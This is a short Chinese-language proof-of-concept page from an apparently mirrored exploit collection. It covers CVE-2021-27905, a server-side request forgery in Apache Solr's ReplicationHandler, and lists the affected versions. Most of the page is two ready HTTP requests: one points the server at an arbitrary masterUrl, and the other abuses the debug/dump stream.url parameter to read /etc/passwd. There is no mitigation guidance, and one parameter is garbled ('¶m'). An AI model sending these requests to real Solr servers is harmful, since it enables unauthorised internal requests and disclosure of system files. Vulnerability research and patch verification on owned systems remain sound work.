mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 03:17:19 +00:00
34 lines
891 B
Markdown
34 lines
891 B
Markdown
# Apache Solr Replication handler SSRF CVE-2021-27905
|
||
|
||
## 漏洞描述
|
||
|
||
Apache Solr是一个开源搜索服务引擎，Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。漏洞产生在 ReplicationHandler 中的 masterUrl 参数（ leaderUrl 参数）可指派另一个 Solr 核心上的 ReplicationHandler 讲索引数据复制到本地核心上。成功利用此漏洞可造成服务端请求伪造漏洞。
|
||
|
||
参考链接：
|
||
|
||
* https://nvd.nist.gov/vuln/detail/CVE-2021-27905
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Apache Solr 7.0.0 - 7.7.3
|
||
Apache Solr 8.0.0 - 8.8.1
|
||
```
|
||
|
||
### 漏洞复现
|
||
|
||
poc：
|
||
|
||
```
|
||
GET /solr/test/replication?command=fetchindex&masterUrl=http://127.0.0.1/&wt=json&httpBasicAuthUser=&httpBasicAuthPassword= HTTP/1.1
|
||
HOST:target
|
||
....
|
||
```
|
||
|
||
```
|
||
GET http://xxxxx/solr/xxxx/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
|
||
HOST:target
|
||
...
|
||
```
|
||
|